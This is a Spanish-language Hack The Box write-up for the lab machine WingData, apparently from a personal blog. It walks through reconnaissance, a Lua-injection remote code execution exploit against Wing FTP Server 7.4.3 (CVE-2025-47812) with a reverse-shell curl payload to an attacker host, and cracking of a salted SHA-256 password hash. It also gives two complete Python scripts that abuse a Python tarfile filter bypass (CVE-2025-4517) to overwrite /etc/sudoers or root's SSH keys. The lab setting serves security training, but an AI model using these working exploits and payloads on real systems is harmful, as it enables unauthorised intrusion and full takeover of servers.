CorvusDDosKRom

Hack The Box: WingData

Easy

WingData es una máquina de nivel Easy en Hack The Box con Linux que involucra explotación de Wing FTP Server 7.4.3 mediante CVE-2025-47812 (Unauthenticated RCE por Lua injection) y cracking de hash SHA-256 con salt para escalar a usuario wacky.

Linux
Hack The Box
Web Apache SSH Wing FTP CVE-2025-47812 RCE Hash Cracking Vhost Fuzzing

WingData

Plataforma: Hack The Box

Dificultad: Easy

🔗 Link de la máquina: https://app.hackthebox.com/machines/WingData

WingData

Reconocimiento

En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN wingdata.txt 10.129.5.251
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-14 16:30 -0300
Nmap scan report for 10.129.5.251
Host is up (0.19s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.99 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN wingdata.txt: Guarda los resultados en el archivo “wingdata.txt”.

Puertos descubiertos:

  • 22/tcp - SSH (OpenSSH 9.2p1 Debian)
  • 80/tcp - HTTP (Apache 2.4.66) → Redirige a wingdata.htb

Agregamos el dominio al archivo /etc/hosts:

echo "10.129.5.251 wingdata.htb" | sudo tee -a /etc/hosts

Enumeración Web

Sitio Principal

Accedemos a http://wingdata.htb y encontramos la web de Wing Data Solutions, una plataforma de compartición de archivos encriptada.

Web

Fuzzing de Virtual Hosts

Realizamos fuzzing de subdominios para descubrir virtual hosts adicionales:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://wingdata.htb -H "Host: FUZZ.wingdata.htb" -fc 301
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev

 :: Method           : GET
 :: URL              : http://wingdata.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.wingdata.htb
 :: Filter           : Response status: 301

ftp                     [Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 355ms]
:: Progress: [19966/19966] :: Job [1/1] :: 173 req/sec :: Duration: [0:02:16] :: Errors: 0 ::

Subdominio encontrado: ftp.wingdata.htb

Agregamos al /etc/hosts:

echo "10.129.5.251 ftp.wingdata.htb" | sudo tee -a /etc/hosts

Wing FTP Server

Accedemos a http://ftp.wingdata.htb y encontramos un panel de Wing FTP Server v7.4.3.

Wing FTP Server

La versión específica expuesta es clave: Wing FTP Server 7.4.3 es vulnerable a RCE no autenticado.


Explotación

CVE-2025-47812 - Unauthenticated RCE

Wing FTP Server <= 7.4.3 es vulnerable a inyección de código Lua mediante un null byte en el parámetro username durante el login. El servidor escribe el payload en un archivo de sesión que es ejecutado al acceder a /dir.html.

La vulnerabilidad se puede explotar de dos formas: de manera automatizada con un script público, o de manera manual replicando las peticiones HTTP directamente.


Método 1 — Automatizado (searchsploit)

Descargamos el exploit:

searchsploit -m 52347

Verificamos la ejecución de comandos:

python3 52347.py -u http://ftp.wingdata.htb -c "whoami" -v
[+] wingftp@wingdata.htb is vulnerable!

--- Command Output ---
wingftp
----------------------

RCE confirmado como usuario wingftp. Lanzamos reverse shell:

# Listener
nc -nlvp 4444

# Exploit
python3 52347.py -u http://ftp.wingdata.htb -c "nc 10.10.16.4 4444 -e /bin/bash" -v
connect to [10.10.16.4] from (UNKNOWN) [10.129.5.251] 40170
id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

Método 2 — Manual (curl)

Para entender exactamente qué ocurre, replicamos la explotación paso a paso.

¿Cómo funciona el bug?

El flujo de ataque tiene dos pasos:

  1. Inyección: POST a /loginok.html con un null byte (%00) en el username. El servidor valida el string hasta el \0 (ve solo anonymous), pero escribe el string completo en el archivo de sesión — incluyendo el código Lua tras el null byte.
  2. Ejecución: GET a /dir.html con el UID de sesión obtenido en el paso anterior. El servidor lee el archivo de sesión correspondiente y ejecuta el Lua inyectado.

Los dos pasos deben ejecutarse lo más rápido posible seguidos, ya que la sesión expira en segundos.

Con el listener activo, encadenamos los dos pasos directamente con curl:

# Terminal 1 — Listener
nc -nlvp 4444

# Terminal 2 — Exploit manual
WUID=$(curl -si -X POST http://ftp.wingdata.htb/loginok.html \
  --data 'username=anonymous%00]]%0dlocal+h+%3d+io.popen("nc+10.10.16.4+4444+-e+/bin/bash")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=' \
  | grep -oP 'UID=\K[^;]+') && curl -s -b "UID=$WUID" http://ftp.wingdata.htb/dir.html

curl exploit

El primer curl hace el POST, extrae el UID del header Set-Cookie y lo guarda en $WUID. El segundo curl hace el GET con ese UID inmediatamente, disparando la ejecución del Lua en el servidor.

Nota: UID es una variable reservada en zsh. Usar un nombre distinto como WUID evita el error bad math expression.

El segundo curl quedará colgado sin respuesta — es esperado, ya que io.popen bloquea esperando que nc termine. La conexión aparece en el listener.


Estabilización de la shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
export SHELL=bash
stty rows 38 cols 183

User Flag

Enumeración como wingftp

Exploramos el directorio de Wing FTP Server en /opt/wftpserver y encontramos los archivos de configuración de usuarios:

find /opt/wftpserver -name "*.xml"
/opt/wftpserver/Data/_ADMINISTRATOR/admins.xml
/opt/wftpserver/Data/_ADMINISTRATOR/settings.xml
/opt/wftpserver/Data/1/users/maria.xml
/opt/wftpserver/Data/1/users/steve.xml
/opt/wftpserver/Data/1/users/wacky.xml
/opt/wftpserver/Data/1/users/anonymous.xml
/opt/wftpserver/Data/1/users/john.xml
/opt/wftpserver/Data/1/settings.xml

En /etc/passwd identificamos el usuario del sistema wacky:

cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
wingftp:x:1000:1000:WingFTP Daemon User,,,:/opt/wingftp:/bin/bash
wacky:x:1001:1001::/home/wacky:/bin/bash

Extracción del Hash

Leemos el XML del usuario wacky:

cat /opt/wftpserver/Data/1/users/wacky.xml
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>

Identificación del Salt

En la configuración del dominio encontramos que las contraseñas usan SHA-256 con salt:

cat /opt/wftpserver/Data/1/settings.xml | grep -A1 -i salt
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>

Cracking del Hash

El algoritmo es SHA-256(password + salt) → modo 1410 en hashcat:

echo "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" > hash.txt
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

Credenciales obtenidas:

  • Usuario: wacky
  • Contraseña: !#7Blushing^*Bride5

Acceso via SSH

ssh wacky@10.129.5.251

SSH wacky

wacky@wingdata:~$ cat user.txt
1bf957a67e3345827d6f150ebd9ccd57

User Flag


Escalada de Privilegios

Enumeración como wacky

sudo -l
User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

wacky puede ejecutar un script Python como root. Revisamos el script y los permisos del directorio:

cat /opt/backup_clients/restore_backup_clients.py
ls -la /opt/backup_clients/
drwxr-x--- 4 root wacky 4096 Jan 12 08:43 .
drwxr-xr-x 4 root root  4096 Feb  9 08:19 ..
drwxrwx--- 2 root wacky 4096 Jan 12 08:32 backups
-rwxr-x--- 1 root wacky 2829 Jan 12 08:37 restore_backup_clients.py
drwxr-x--- 2 root wacky 4096 Jan 12 08:43 restored_backups

El script extrae archivos tar con filter="data" de Python 3.12.3, supuestamente seguro contra path traversal. Sin embargo, el directorio backups/ es escribible por wacky.

CVE-2025-4517 - Python tarfile filter bypass

Python 3.12.3 es vulnerable a un bypass del filter="data" mediante una cadena de symlinks que supera el límite PATH_MAX del sistema operativo.

¿Cómo funciona el filter=“data”?

Cuando Python extrae un tar con filter="data", valida cada symlink así:

symlink en el tar → ¿el path resuelto escapa el destino?
                        └─ usa os.path.realpath() para resolver
                        └─ si escapa → error
                        └─ si no escapa → ok, se extrae

El bug: PATH_MAX overflow

En Linux, os.path.realpath() usa un buffer interno de 4096 bytes (PATH_MAX). Si el path a resolver es más largo que eso, la función falla silenciosamente y devuelve un resultado incorrecto/truncado.

Esto crea una brecha:

  1. La validación usa realpath() → falla con path largo → dice “no escapa” (falso positivo)
  2. La extracción procede sin re-validar → escribe donde el symlink realmente apunta

Construcción del exploit paso a paso

Fase 1 — Cadena de expansión (superar PATH_MAX)

comp = 'd' * 247        # directorio de 247 chars
steps = "abcdefghijklmnop"  # 16 niveles

Se crean 16 pares de directorio + symlink encadenados:

ddd...247d/          ← directorio real
a → ddd...247d       ← symlink al directorio
  ddd...247d/
  b → ddd...247d
    ...16 niveles...

Cuando realpath() intenta resolver a/ddd.../b/ddd.../c/..., expande cada symlink y el path acumulado alcanza ~3952 bytes (16 × 247).

Fase 2 — Symlink que supera PATH_MAX

linkpath = os.path.join("/".join(steps), "l" * 254)
# Path resultante al resolver: ~4220 bytes → supera 4096

l.linkname = "../" * len(steps)  # apunta a la raíz /

Cuando Python valida este symlink, realpath() recibe un path de ~4220 bytes → overflow → falla y devuelve algo incorrecto → la validación dice “ok”. El symlink queda apuntando efectivamente a / sin ser detectado.

Fase 3 — Symlink de escape a /etc

e.linkname = linkpath + "/../../../../../../../etc"

Se encadena el symlink ya validado incorrectamente para apuntar a /etc. Como linkpath no fue validado correctamente, este tampoco lo es.

Fase 4 — Hardlink + sobreescritura de /etc/sudoers

# Hardlink: sudoers_link → escape/sudoers → /etc/sudoers
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers"

# Sobreescribir el hardlink = sobreescribir /etc/sudoers
content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"

Los hardlinks en tar referencian otros miembros del mismo tar, no rutas externas, por lo que no son validados como “ruta que escapa”. Al escribir sobre el hardlink, el OS sigue la cadena y escribe en el archivo real: /etc/sudoers.

Exploit completo

Creamos el exploit:

cat > /tmp/exploit_cve.py << 'EOF'
import tarfile
import os
import io

comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""

with tarfile.open("/opt/backup_clients/backups/backup_9999.tar", mode="w") as tar:
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)

        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)

    linkpath = os.path.join("/".join(steps), "l" * 254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = "../" * len(steps)
    tar.addfile(l)

    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../../../etc"
    tar.addfile(e)

    f = tarfile.TarInfo("sudoers_link")
    f.type = tarfile.LNKTYPE
    f.linkname = "escape/sudoers"
    tar.addfile(f)

    content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"
    c = tarfile.TarInfo("sudoers_link")
    c.type = tarfile.REGTYPE
    c.size = len(content)
    tar.addfile(c, fileobj=io.BytesIO(content))

print("[+] Tar malicioso creado")
EOF
python3 /tmp/exploit_cve.py

Ejecutamos el exploit mediante el sudo permitido:

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_pwn

Verificamos que /etc/sudoers fue sobreescrito:

sudo su -

Método Alternativo — Inyección de clave SSH en authorized_keys

En lugar de sobreescribir /etc/sudoers, podemos usar el mismo bypass para inyectar nuestra clave pública SSH directamente en /root/.ssh/authorized_keys y conectarnos como root sin contraseña.

Paso 1 — Generar el par de claves:

ssh-keygen -t rsa -f /tmp/id_rsa -N ""
cat /tmp/id_rsa.pub

Paso 2 — Crear el tar malicioso:

La diferencia respecto al método anterior es que escape apunta directamente a /root/.ssh/authorized_keys (no a /etc), y el hardlink ssh_trigger se usa para sobreescribir ese archivo con la clave pública:

cat > /tmp/exploit_ssh.py << 'EOF'
import tarfile
import os
import io

OUT_FILE = "/opt/backup_clients/backups/backup_1337.tar"
ssh_public_key = b"ssh-rsa AAAAB3Nza...TU_CLAVE_PUBLICA... wacky@wingdata\n"

comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""

with tarfile.open(OUT_FILE, mode="x") as tar:
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)

    linkpath = os.path.join("/".join(steps), "l" * 254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = "../" * len(steps)
    tar.addfile(l)

    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../../root/.ssh/authorized_keys"
    tar.addfile(e)

    f = tarfile.TarInfo("ssh_trigger")
    f.type = tarfile.LNKTYPE
    f.linkname = "escape"
    tar.addfile(f)

    c = tarfile.TarInfo("ssh_trigger")
    c.type = tarfile.REGTYPE
    c.size = len(ssh_public_key)
    tar.addfile(c, fileobj=io.BytesIO(ssh_public_key))

print("[+] Exploit para SSH generado:", OUT_FILE)
EOF
python3 /tmp/exploit_ssh.py

Paso 3 — Ejecutar la restauración:

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1337.tar -r restore_ssh

Paso 4 — Conectarse como root por SSH:

ssh -i /tmp/id_rsa root@wingdata.htb

Privesc Alt


Root Flag

root@wingdata:~# cat /root/root.txt

Root Flag

Máquina WingData de Hack The Box completada exitosamente.